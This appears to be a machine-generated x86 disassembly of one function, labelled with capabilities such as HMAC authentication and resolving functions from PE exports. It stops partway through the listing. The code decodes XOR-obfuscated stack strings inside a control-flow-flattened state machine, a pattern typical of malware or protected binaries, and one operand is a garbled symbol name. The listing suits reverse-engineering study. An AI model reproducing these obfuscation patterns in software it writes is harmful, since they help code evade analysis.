Function at 0x1006a298
Capabilities:
Authenticate hmac
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xb0c
mov eax, dword [0x100c51b8]
xor eax, esp
mov dword [esp + 0xb08], eax
lea ecx, [esp + 0x838]
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
mov dword [esp + 8], ecx
lea esi, [esp + 0x820]
mov dword [esp + 0x14], esi
mov eax, dword [esp + 0x14]
lea eax, [esp + 0x7fc]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea ebx, [esp + 0x7fe]
mov byte [ebx], 0x25
mov byte [ebx + 1], 0x40
mov byte [ebx + 2], 0x4d
mov byte [ebx + 3], 0x68
mov cl, 0x74
mov byte [ebx + 4], cl
mov dl, 0x7f
mov byte [ebx + 5], dl
mov byte [ebx + 6], 0x6b
mov byte [ebx + 7], 0x77
mov byte [ebx + 8], 0x7a
mov byte [ebx + 9], 0x34
mov byte [ebx + 0xa], 0x53
mov byte [ebx + 0xb], 0x7b
mov byte [ebx + 0xc], dl
mov dl, 0x75
mov byte [ebx + 0xd], dl
mov ch, 0x62
mov byte [ebx + 0xe], ch
mov byte [ebx + 0xf], 0x2e
mov byte [ebx + 0x10], 0x27
mov byte [ebx + 0x11], cl
mov byte [ebx + 0x12], 0x35
mov byte [ebx + 0x13], 0x3c
mov byte [ebx + 0x14], 0x22
mov byte [ebx + 0x15], 0x54
mov byte [ebx + 0x16], 0x44
mov byte [ebx + 0x17], 0x6f
mov byte [ebx + 0x18], 0x64
mov byte [ebx + 0x19], 0x76
mov byte [ebx + 0x1a], 0x6a
mov byte [ebx + 0x1b], 0x71
mov byte [ebx + 0x1c], 0x6c
mov byte [ebx + 0x1d], 0x66
mov byte [ebx + 0x1e], dl
mov byte [ebx + 0x1f], ch
lea ecx, [esp + 0x81e]
lea edx, [esp + 0x820]
mov dword [esp + 0x63c], edx
mov edi, 0xe274f1dd
mov edx, 0x9aa4b98b
cmp edi, 0x9aa4b98b
je 0x1006a3b2
cmp edi, 0xe274f1dd
jne 0x1006a38d
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x63c]
mov edi, 0xe274f1dd
cmove edi, edx
jmp 0x1006a38d
mov dword [esp + 0x23c], eax
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x28c], al
mov edx, 0x67b4c1f
lea edi, [esp + 0x7b0]
mov ebp, 0xfabebd0d
mov ecx, 0x7d5e8b9e
cmp edx, 0x3106b7bc
jg 0x1006a419
cmp edx, 0x92a4900d
je 0x1006a479
cmp edx, 0xfabebd0d
je 0x1006a4de
cmp edx, 0x67b4c1f
jne 0x1006a3df
test byte [esp + 0x28c], 1
mov edx, 0x92a4900d
cmove edx, ebp
jmp 0x1006a3df
cmp edx, 0x3106b7bd
je 0x1006a49c
cmp edx, 0x426ed815
je 0x1006a4c7
cmp edx, 0x7d5e8b9e
jne 0x1006a3df
mov edx, dword [esp + 0x7b0]
mov al, byte [esp + edx + 0x7fe]
mov edx, dword [esp + 0x7b0]
mov ah, byte [esp + 0x7fd]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x20
mov eax, dword [esp + 0x7b0]
mov byte [esp + eax + 0x7fe], dl
inc dword [esp + 0x7b0]
mov edx, 0x426ed815
jmp 0x1006a3df
mov dword [esp + 0x63c], edi
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x7b0], 0
mov edx, 0x426ed815
jmp 0x1006a3df
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x81e], 0
mov byte [esp + 0x81f], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0xfabebd0d
jmp 0x1006a3df
mov edx, dword [esp + 0x7b0]
cmp edx, 0x20
mov edx, 0x3106b7bd
cmovb edx, ecx
jmp 0x1006a3df
xor eax, eax
mov dword [esp + 0x820], eax
mov dword [esp + 0x830], eax
mov dword [esp + 0x834], 0xf
mov byte [esp + 0x820], 0
push ebx
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.10007b00
push esi
push dword [esp + 0xc]
call fcn.10061f56
add esp, 8
mov eax, dword [esp + 8]
mov dword [esp], eax
lea esi, [esp + 0x7e4]
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x20], edi
mov eax, dword [esp + 0x20]
lea ebx, [esp + 0x7b2]
mov byte [ebx - 2], 1
mov byte [ebx - 1], 0x3e
mov byte [ebx], 0x2b
mov byte [ebx + 1], 0x4e
mov byte [ebx + 2], 0x43
mov byte [ebx + 3], 0x66
mov al, 0x7a
mov byte [ebx + 4], al
mov cl, 0x71
mov byte [ebx + 5], cl
mov byte [ebx + 6], 0x65
mov byte [ebx + 7], 0x79
mov byte [ebx + 8], 0x74
mov byte [ebx + 9], 0x3a
mov byte [ebx + 0xa], 0x5d
mov byte [ebx + 0xb], 0x75
mov byte [ebx + 0xc], cl
mov cl, 0x7b
mov byte [ebx + 0xd], cl
mov byte [ebx + 0xe], 0x6c
mov byte [ebx + 0xf], 0x20
mov byte [ebx + 0x10], 0x29
mov byte [ebx + 0x11], al
mov byte [ebx + 0x12], 0x3b
mov byte [ebx + 0x13], 0x32
mov byte [ebx + 0x14], 0x2c
mov al, 0x5a
mov byte [ebx + 0x15], al
mov byte [ebx + 0x16], 0x4a
mov byte [ebx + 0x17], 0x61
mov byte [ebx + 0x18], 0x6a
mov byte [ebx + 0x19], pe_nt_image_headers32
mov byte [ebx + 0x1a], 0x64
mov byte [ebx + 0x1b], 0x7f
mov dl, 0x62
mov byte [ebx + 0x1c], dl
mov byte [ebx + 0x1d], 0x68
mov byte [ebx + 0x1e], cl
mov byte [ebx + 0x1f], 0x10
mov byte [ebx + 0x20], 0x67
mov byte [ebx + 0x21], 0x5b
mov byte [ebx + 0x22], 0x40
mov byte [ebx + 0x23], 0x41
mov byte [ebx + 0x24], 0x54
mov byte [ebx + 0x25], al
mov byte [ebx + 0x26], 0x17
mov byte [ebx + 0x27], 0x6b
mov byte [ebx + 0x28], 0x4d
mov byte [ebx + 0x29], 0x4f
mov byte [ebx + 0x2a], 0x5f
mov byte [ebx + 0x2b], 0x55
mov byte [ebx + 0x2c], 0x52
mov byte [ebx + 0x2d], dl
lea eax, [esp + 0x7e0]
lea ecx, [esp + 0x7e2]
mov dword [esp + 0x63c], ecx
mov edx, 0xa496af09
mov ecx, 0x92497bf4
cmp edx, 0x92497bf4
je 0x1006a648
cmp edx, 0xa496af09
jne 0x1006a623
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x63c]
mov edx, 0xa496af09
cmove edx, ecx
jmp 0x1006a623
mov eax, dword [esp]
lea ebp, [eax + 0x18]
mov dword [esp + 0x23c], edi
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x2d4], al
mov edx, 0x80d72045
mov ecx, 0xcd8a6f75
cmp edx, 0xac7e8212
jg 0x1006a694
cmp edx, 0x80d72045
je 0x1006a6d7
cmp edx, 0x9b6ec26f
je 0x1006a6ee
cmp edx, 0xa873f903
jne 0x1006a66f
jmp 0x1006a785
cmp edx, 0xac7e8213
je 0x1006a705
cmp edx, 0xcd8a6f75
je 0x1006a730
cmp edx, 0xe503f46f
jne 0x1006a66f
lea eax, [esp + 0x28c]
mov dword [esp + 0x63c], eax
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x28c], 0
mov edx, 0x9b6ec26f
jmp 0x1006a66f
test byte [esp + 0x2d4], 1
mov edx, 0xe503f46f
mov eax, 0xa873f903
cmove edx, eax
jmp 0x1006a66f
mov edx, dword [esp + 0x28c]
cmp edx, 0x2e
mov edx, 0xac7e8213
cmovb edx, ecx
jmp 0x1006a66f
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x7e0], 0
mov byte [esp + 0x7e1], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0xa873f903
jmp 0x1006a66f
mov edx, dword [esp + 0x28c]
mov al, byte [esp + edx + 0x7b2]
mov edx, dword [esp + 0x28c]
mov ah, byte [esp + 0x7b1]
mov edi, 0x1e
sub edi, edx
and edi, 0x11
inc edx
and edx, 0xee
or edx, edi
xor dl, ah
xor dl, al
xor dl, 0x3f
mov eax, dword [esp + 0x28c]
mov byte [esp + eax + 0x7b2], dl
inc dword [esp + 0x28c]
mov edx, 0x9b6ec26f
jmp 0x1006a66f
xor eax, eax
mov dword [esp + 0x7e4], eax
mov dword [esp + 0x7f4], eax
mov dword [esp + 0x7f8], 0xf
mov byte [esp + 0x7e4], al
push ebx
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x798]
mov dword [esp + 0x24], esi
mov eax, dword [esp + 0x24]
lea eax, [esp + 0x778]
mov dword [esp + 0x28], eax
mov ecx, dword [esp + 0x28]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x77a]
mov byte [edi], 0x19
mov byte [edi + 1], 0x7c
mov byte [edi + 2], 0x71
mov byte [edi + 3], 0x54
mov cl, 0x48
mov byte [edi + 4], cl
mov dl, 0x43
mov byte [edi + 5], dl
mov byte [edi + 6], 0x57
mov byte [edi + 7], 0x4b
mov byte [edi + 8], 0x46
mov byte [edi + 9], 8
mov byte [edi + 0xa], 0x6f
mov byte [edi + 0xb], 0x47
mov byte [edi + 0xc], dl
mov byte [edi + 0xd], 0x49
mov byte [edi + 0xe], 0x5e
mov byte [edi + 0xf], 0x12
mov byte [edi + 0x10], 0x1b
mov byte [edi + 0x11], cl
mov byte [edi + 0x12], 9
mov edx, 0
mov byte [edi + 0x13], dl
mov byte [edi + 0x14], 0x1e
mov byte [edi + 0x15], 0x68
mov byte [edi + 0x16], 0x76
mov byte [edi + 0x17], 0x53
mov byte [edi + 0x18], cl
mov byte [edi + 0x19], 0x5b
mov byte [edi + 0x1a], 0x56
mov byte [edi + 0x1b], 0x62
lea ecx, [esp + 0x796]
lea edx, [esp + 0x798]
mov dword [esp + 0x63c], edx
mov ebx, 0x92715b32
mov edx, 0xbc9ec35c
cmp ebx, 0xbc9ec35c
je 0x1006a8a5
cmp ebx, 0x92715b32
jne 0x1006a880
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x63c]
mov ebx, 0x92715b32
cmove ebx, edx
jmp 0x1006a880
mov ecx, dword [esp]
lea ebx, [ecx + 0x30]
mov dword [esp + 0x23c], eax
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x2d4], al
mov edx, 0x46741de3
mov ebp, 0xcb37d6cb
mov ecx, 0x454d45f3
cmp edx, 0x454d45f2
jg 0x1006a91d
cmp edx, 0x9901ed1f
je 0x1006a94f
cmp edx, 0xcb37d6cb
je 0x1006a979
cmp edx, 0x27a4450a
jne 0x1006a8d1
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x796], 0
mov byte [esp + 0x797], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0x454d45f3
jmp 0x1006a8d1
cmp edx, 0x454d45f3
je 0x1006a9d4
cmp edx, 0x76869909
je 0x1006a9bd
cmp edx, 0x46741de3
jne 0x1006a8d1
test byte [esp + 0x2d4], 1
mov edx, 0x9901ed1f
cmove edx, ecx
jmp 0x1006a8d1
lea eax, [esp + 0x28c]
mov dword [esp + 0x63c], eax
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x28c], 0
mov edx, 0x76869909
jmp 0x1006a8d1
mov edx, dword [esp + 0x28c]
mov al, byte [esp + edx + 0x77a]
mov edx, dword [esp + 0x28c]
mov ah, byte [esp + 0x779]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x1c
mov eax, dword [esp + 0x28c]
mov byte [esp + eax + 0x77a], dl
inc dword [esp + 0x28c]
mov edx, 0x76869909
jmp 0x1006a8d1
mov edx, dword [esp + 0x28c]
cmp edx, 0x1c
mov edx, 0x27a4450a
cmovb edx, ebp
jmp 0x1006a8d1
xor eax, eax
mov dword [esp + 0x798], eax
mov dword [esp + 0x7a8], eax
mov dword [esp + 0x7ac], 0xf
mov byte [esp + 0x798], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebx
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x760]
mov dword [esp + 0x2c], esi
mov eax, dword [esp + 0x2c]
lea eax, [esp + 0x73c]
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0x30]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x73e]
mov byte [edi], 0x1b
mov byte [edi + 1], 0x7e
mov byte [edi + 2], 0x73
mov byte [edi + 3], 0x56
mov cl, 0x4a
mov byte [edi + 4], cl
mov dl, 0x41
mov byte [edi + 5], dl
mov byte [edi + 6], 0x55
mov ch, 0x49
mov byte [edi + 7], ch
mov byte [edi + 8], 0x44
mov byte [edi + 9], 0xa
mov byte [edi + 0xa], 0x6d
mov byte [edi + 0xb], 0x45
mov byte [edi + 0xc], dl
mov byte [edi + 0xd], 0x4b
mov byte [edi + 0xe], 0x5c
mov byte [edi + 0xf], 0x10
mov byte [edi + 0x10], 0x19
mov byte [edi + 0x11], cl
mov byte [edi + 0x12], 0xb
mov byte [edi + 0x13], 2
mov byte [edi + 0x14], 0x1c
mov byte [edi + 0x15], 0x6a
mov byte [edi + 0x16], 0x63
mov byte [edi + 0x17], 0x5d
mov byte [edi + 0x18], 0x57
mov byte [edi + 0x19], 0x59
mov byte [edi + 0x1a], 0x5e
mov byte [edi + 0x1b], 0x52
mov byte [edi + 0x1c], ch
mov byte [edi + 0x1d], 0x62
lea ecx, [esp + 0x75c]
lea edx, [esp + 0x75e]
mov dword [esp + 0x63c], edx
mov ebx, 0xaf60c3f1
mov edx, 0xe3f93b97
cmp ebx, 0xe3f93b97
je 0x1006aafa
cmp ebx, 0xaf60c3f1
jne 0x1006aad5
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x63c]
mov ebx, 0xaf60c3f1
cmove ebx, edx
jmp 0x1006aad5
mov ecx, dword [esp]
lea ebx, [ecx + 0x48]
mov dword [esp + 0x23c], eax
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x2d4], al
mov edx, 0xf9d7d929
mov ebp, 0xa6ab2b03
mov ecx, 0x9f805a64
cmp edx, 0xf9d7d928
jg 0x1006ab71
cmp edx, 0x9f805a64
je 0x1006ac25
cmp edx, 0xa6ab2b03
je 0x1006ab9f
cmp edx, 0xdcf41c33
jne 0x1006ab26
lea eax, [esp + 0x28c]
mov dword [esp + 0x63c], eax
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x28c], 0
mov edx, 0x53cc5c3b
jmp 0x1006ab26
cmp edx, 0x6ffc81fe
je 0x1006abe3
cmp edx, 0x53cc5c3b
je 0x1006ac0e
cmp edx, 0xf9d7d929
jne 0x1006ab26
test byte [esp + 0x2d4], 1
mov edx, 0xdcf41c33
cmove edx, ecx
jmp 0x1006ab26
mov edx, dword [esp + 0x28c]
mov al, byte [esp + edx + 0x73e]
mov edx, dword [esp + 0x28c]
mov ah, byte [esp + 0x73d]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x1e
mov eax, dword [esp + 0x28c]
mov byte [esp + eax + 0x73e], dl
inc dword [esp + 0x28c]
mov edx, 0x53cc5c3b
jmp 0x1006ab26
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x75c], 0
mov byte [esp + 0x75d], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0x9f805a64
jmp 0x1006ab26
mov edx, dword [esp + 0x28c]
cmp edx, 0x1e
mov edx, 0x6ffc81fe
cmovb edx, ebp
jmp 0x1006ab26
xor eax, eax
mov dword [esp + 0x760], eax
mov dword [esp + 0x770], eax
mov dword [esp + 0x774], 0xf
mov byte [esp + 0x760], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebx
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x724]
mov dword [esp + 0x34], esi
mov eax, dword [esp + 0x34]
lea eax, [esp + 0x700]
mov dword [esp + 0x38], eax
mov ecx, dword [esp + 0x38]
mov cl, 1
mov byte [eax], cl
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x702]
mov byte [edi], 0x18
mov byte [edi + 1], 0x7d
mov byte [edi + 2], 0x70
mov byte [edi + 3], 0x55
mov dl, 0x49
mov byte [edi + 4], dl
mov ch, 0x42
mov byte [edi + 5], ch
mov dh, 0x56
mov byte [edi + 6], dh
mov bl, 0x4a
mov byte [edi + 7], bl
mov byte [edi + 8], 0x47
mov byte [edi + 9], 9
mov byte [edi + 0xa], 0x6e
mov byte [edi + 0xb], 0x46
mov byte [edi + 0xc], ch
mov byte [edi + 0xd], 0x48
mov byte [edi + 0xe], 0x5f
mov byte [edi + 0xf], 0x13
mov byte [edi + 0x10], 0x1a
mov byte [edi + 0x11], dl
mov byte [edi + 0x12], 8
mov byte [edi + 0x13], cl
mov byte [edi + 0x14], 0x1f
mov byte [edi + 0x15], 0x69
mov cl, 0x63
mov byte [edi + 0x16], cl
mov byte [edi + 0x17], cl
mov byte [edi + 0x18], 0x6d
mov byte [edi + 0x19], dh
mov byte [edi + 0x1a], bl
mov byte [edi + 0x1b], 0x54
mov byte [edi + 0x1c], 0x62
lea ecx, [esp + 0x71f]
lea edx, [esp + 0x721]
mov dword [esp + 0x63c], edx
mov ebx, 0x683b1b78
mov edx, 0xe3ec5d4e
cmp ebx, 0xe3ec5d4e
je 0x1006ad47
cmp ebx, 0x683b1b78
jne 0x1006ad22
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x63c]
mov ebx, 0x683b1b78
cmove ebx, edx
jmp 0x1006ad22
mov ecx, dword [esp]
lea ebx, [ecx + 0x60]
mov dword [esp + 0x23c], eax
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x2d4], al
mov edx, 0x5e0c9bc3
mov ebp, 0x697c8f78
mov ecx, 0x2b5117b9
cmp edx, 0x5e0c9bc2
jg 0x1006adbe
cmp edx, 0xdc74ccbd
je 0x1006ade8
cmp edx, 0x2b5117b9
je 0x1006ae6e
cmp edx, 0x38a0a0a6
jne 0x1006ad73
lea eax, [esp + 0x28c]
mov dword [esp + 0x63c], eax
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x28c], 0
mov edx, 0xdc74ccbd
jmp 0x1006ad73
cmp edx, 0x697c8f78
je 0x1006adff
cmp edx, 0x62f913f3
je 0x1006ae43
cmp edx, 0x5e0c9bc3
jne 0x1006ad73
test byte [esp + 0x2d4], 1
mov edx, 0x38a0a0a6
cmove edx, ecx
jmp 0x1006ad73
mov edx, dword [esp + 0x28c]
cmp edx, 0x1d
mov edx, 0x62f913f3
cmovb edx, ebp
jmp 0x1006ad73
mov edx, dword [esp + 0x28c]
mov al, byte [esp + edx + 0x702]
mov edx, dword [esp + 0x28c]
mov ah, byte [esp + 0x701]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x1d
mov eax, dword [esp + 0x28c]
mov byte [esp + eax + 0x702], dl
inc dword [esp + 0x28c]
mov edx, 0xdc74ccbd
jmp 0x1006ad73
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x71f], 0
mov byte [esp + 0x720], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0x2b5117b9
jmp 0x1006ad73
xor eax, eax
mov dword [esp + 0x724], eax
mov dword [esp + 0x734], eax
mov dword [esp + 0x738], 0xf
mov byte [esp + 0x724], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebx
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x6e8]
mov dword [esp + 0x3c], esi
mov eax, dword [esp + 0x3c]
lea eax, [esp + 0x6c8]
mov dword [esp + 0x40], eax
mov ecx, dword [esp + 0x40]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x6ca]
mov byte [edi], 0x1f
mov byte [edi + 1], 0x7a
mov byte [edi + 2], 0x77
mov byte [edi + 3], 0x52
mov cl, 0x4e
mov byte [edi + 4], cl
mov dl, 0x45
mov byte [edi + 5], dl
mov byte [edi + 6], 0x51
mov byte [edi + 7], 0x4d
mov byte [edi + 8], 0x40
mov byte [edi + 9], 0xe
mov byte [edi + 0xa], 0x69
mov byte [edi + 0xb], 0x41
mov byte [edi + 0xc], dl
mov byte [edi + 0xd], 0x4f
mov byte [edi + 0xe], 0x58
mov byte [edi + 0xf], 0x14
mov byte [edi + 0x10], 0x1d
mov byte [edi + 0x11], cl
mov byte [edi + 0x12], 0xf
mov byte [edi + 0x13], 6
mov byte [edi + 0x14], 0x18
mov byte [edi + 0x15], 0x6e
mov byte [edi + 0x16], 0x5a
mov byte [edi + 0x17], 0x73
mov byte [edi + 0x18], 0x7c
mov byte [edi + 0x19], 0x62
lea ecx, [esp + 0x6e4]
lea edx, [esp + 0x6e6]
mov dword [esp + 0x63c], edx
mov ebx, 0x3ddc35dc
mov edx, 0x14141ae8
cmp ebx, 0x14141ae8
je 0x1006af84
cmp ebx, 0x3ddc35dc
jne 0x1006af5f
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x63c]
mov ebx, 0x3ddc35dc
cmove ebx, edx
jmp 0x1006af5f
mov ecx, dword [esp]
lea ebx, [ecx + 0x78]
mov dword [esp + 0x23c], eax
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x2d4], al
mov edx, 0xe6948fe1
mov ebp, 0x530f0170
mov ecx, 0xf9e946f8
cmp edx, 0xf9e946f7
jg 0x1006afea
cmp edx, 0x9e2eab2c
je 0x1006b04e
cmp edx, 0xc72490a6
je 0x1006b078
cmp edx, 0xe6948fe1
jne 0x1006afb0
test byte [esp + 0x2d4], 1
mov edx, 0x9e2eab2c
cmove edx, ecx
jmp 0x1006afb0
cmp edx, 0xf9e946f8
je 0x1006b0ba
cmp edx, 0x1077e5ca
je 0x1006b08f
cmp edx, 0x530f0170
jne 0x1006afb0
mov edx, dword [esp + 0x28c]
mov al, byte [esp + edx + 0x6ca]
mov edx, dword [esp + 0x28c]
mov ah, byte [esp + 0x6c9]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x1a
mov eax, dword [esp + 0x28c]
mov byte [esp + eax + 0x6ca], dl
inc dword [esp + 0x28c]
mov edx, 0xc72490a6
jmp 0x1006afb0
lea eax, [esp + 0x28c]
mov dword [esp + 0x63c], eax
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x28c], 0
mov edx, 0xc72490a6
jmp 0x1006afb0
mov edx, dword [esp + 0x28c]
cmp edx, 0x1a
mov edx, 0x1077e5ca
cmovb edx, ebp
jmp 0x1006afb0
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x6e4], 0
mov byte [esp + 0x6e5], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0xf9e946f8
jmp 0x1006afb0
xor eax, eax
mov dword [esp + 0x6e8], eax
mov dword [esp + 0x6f8], eax
mov dword [esp + 0x6fc], 0xf
mov byte [esp + 0x6e8], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebx
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x6b0]
mov dword [esp + 0x44], esi
mov eax, dword [esp + 0x44]
lea eax, [esp + 0x694]
mov dword [esp + 0x48], eax
mov ecx, dword [esp + 0x48]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x696]
mov byte [edi], 0x12
mov byte [edi + 1], 0x77
mov byte [edi + 2], 0x7a
mov byte [edi + 3], 0x5f
mov byte [edi + 4], 0x43
mov cl, 0x48
mov byte [edi + 5], cl
mov byte [edi + 6], 0x5c
mov byte [edi + 7], 0x40
mov byte [edi + 8], 0x4d
mov byte [edi + 9], 3
mov byte [edi + 0xa], 0x64
mov byte [edi + 0xb], 0x4c
mov byte [edi + 0xc], cl
mov byte [edi + 0xd], 0x42
mov byte [edi + 0xe], 0x55
mov byte [edi + 0xf], 0x65
mov byte [edi + 0x10], 0x70
mov byte [edi + 0x11], 0x4e
mov byte [edi + 0x12], 0x5b
mov byte [edi + 0x13], 0x4a
mov byte [edi + 0x14], 0x59
mov byte [edi + 0x15], 0x56
mov byte [edi + 0x16], 0x62
lea ecx, [esp + 0x6ad]
lea edx, [esp + 0x6af]
mov dword [esp + 0x63c], edx
mov ebx, 0xcf8cbdf5
mov edx, 0x4ffcd4ba
cmp ebx, 0x4ffcd4ba
je 0x1006b1c4
cmp ebx, 0xcf8cbdf5
jne 0x1006b19f
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x63c]
mov ebx, 0xcf8cbdf5
cmove ebx, edx
jmp 0x1006b19f
mov ecx, dword [esp]
lea ebp, [ecx + 0x90]
mov dword [esp + 0x23c], eax
mov eax, dword [esp + 0x23c]
mov al, byte [eax]
mov byte [esp + 0x2d4], al
mov edx, 0x4576cd30
mov eax, 0x5c9fef3
mov ecx, 0xae68d498
cmp edx, 0x4576cd2f
jg 0x1006b25c
cmp edx, 0x8ebcc816
je 0x1006b28d
cmp edx, 0xae68d498
je 0x1006b2f9
cmp edx, 0x5c9fef3
jne 0x1006b1f3
mov edx, dword [esp + 0x28c]
mov bl, byte [esp + edx + 0x696]
mov edx, dword [esp + 0x28c]
mov bh, byte [esp + 0x695]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x17
mov ebx, dword [esp + 0x28c]
mov byte [esp + ebx + 0x696], dl
inc dword [esp + 0x28c]
mov edx, 0x8ebcc816
jmp 0x1006b1f3
cmp edx, 0x76e8f978
je 0x1006b2a4
cmp edx, 0x46c55dca
je 0x1006b2ce
cmp edx, 0x4576cd30
jne 0x1006b1f3
test byte [esp + 0x2d4], 1
mov edx, 0x76e8f978
cmove edx, ecx
jmp 0x1006b1f3
mov edx, dword [esp + 0x28c]
cmp edx, 0x17
mov edx, 0x46c55dca
cmovb edx, eax
jmp 0x1006b1f3
lea edx, [esp + 0x28c]
mov dword [esp + 0x63c], edx
mov edx, dword [esp + 0x63c]
mov dword [esp + 0x28c], 0
mov edx, 0x8ebcc816
jmp 0x1006b1f3
mov edx, dword [esp + 0x63c]
mov byte [esp + 0x6ad], 0
mov byte [esp + 0x6ae], 0
mov edx, dword [esp + 0x23c]
mov byte [edx], 0
mov edx, 0xae68d498
jmp 0x1006b1f3
xor ebx, ebx
mov dword [esp + 0x6b0], ebx
mov dword [esp + 0x6c0], ebx
mov dword [esp + 0x6c4], 0xf
mov byte [esp + 0x6b0], bl
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea eax, [esp + 0x67c]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x4c]
lea esi, [esp + 0x63c]
mov dword [esp + 0x50], esi
mov ecx, dword [esp + 0x50]
mov byte [esi], 1
mov byte [esi + 1], 0x3e
lea edi, [esp + 0x63e]
mov byte [edi], 0x3c
mov ch, 0x59
mov byte [edi + 1], ch
mov dh, 0x54
mov byte [edi + 2], dh
mov cl, 0x71
mov byte [edi + 3], cl
mov byte [edi + 4], 0x6d
mov ah, 0x66
mov byte [edi + 5], ah
mov byte [edi + 6], 0x72
mov byte [edi + 7], 0x6e
mov al, 0x63
mov byte [edi + 8], al
mov byte [edi + 9], 0x2d
mov dl, 0x4a
mov byte [edi + 0xa], dl
mov al, 0x62
mov byte [edi + 0xb], al
mov byte [edi + 0xc], ah
mov byte [edi + 0xd], 0x6c
mov byte [edi + 0xe], 0x7b
mov byte [edi + 0xf], 0x4b
mov ah, 0x55
mov byte [edi + 0x10], ah
mov byte [edi + 0x11], 0x7a
mov al, 0x79
mov byte [edi + 0x12], al
mov byte [edi + 0x13], 0x7e
mov byte [edi + 0x14], 0x7d
mov byte [edi + 0x15], 0x7f
mov byte [edi + 0x16], 0x30
mov byte [edi + 0x17], ch
mov byte [edi + 0x18], 0x77
mov byte [edi + 0x19], cl
mov byte [edi + 0x1a], al
mov byte [edi + 0x1b], 0x68
mov al, 0x46
mov byte [edi + 0x1c], al
mov byte [edi + 0x1d], 0x74
mov byte [edi + 0x1e], cl
mov cl, 0x44
mov byte [edi + 0x1f], cl
mov byte [edi + 0x20], dh
mov byte [edi + 0x21], dl
mov byte [edi + 0x22], 0x57
mov dl, 0x4c
mov byte [edi + 0x23], dl
mov byte [edi + 0x24], cl
mov byte [edi + 0x25], ah
mov byte [edi + 0x26], bl
mov byte [edi + 0x27], 0x5c
mov byte [edi + 0x28], al
mov byte [edi + 0x29], dl
mov byte [edi + 0x2a], 0x5e
mov al, 0x4e
mov byte [edi + 0x2b], al
mov byte [edi + 0x2c], al
mov byte [edi + 0x2d], 0x75
mov byte [edi + 0x2e], 0x6b
mov byte [edi + 0x2f], 0x5b
mov al, 0x5f
mov byte [edi + 0x30], al
mov byte [edi + 0x31], 0x56
mov byte [edi + 0x32], al
mov byte [edi + 0x33], 0x67
mov byte [edi + 0x34], 0x5d
mov al, 0x63
mov byte [edi + 0x35], al
mov byte [edi + 0x36], 0x45
mov byte [edi + 0x37], 0x51
mov al, 0x62
mov byte [edi + 0x38], al
lea ecx, [esp + 0x677]
lea eax, [esp + 0x679]
mov dword [esp + 0x23c], eax
mov ebx, 0x345bfe7e
mov edx, 0x79577df3
cmp ebx, 0x79577df3
je 0x1006b48c
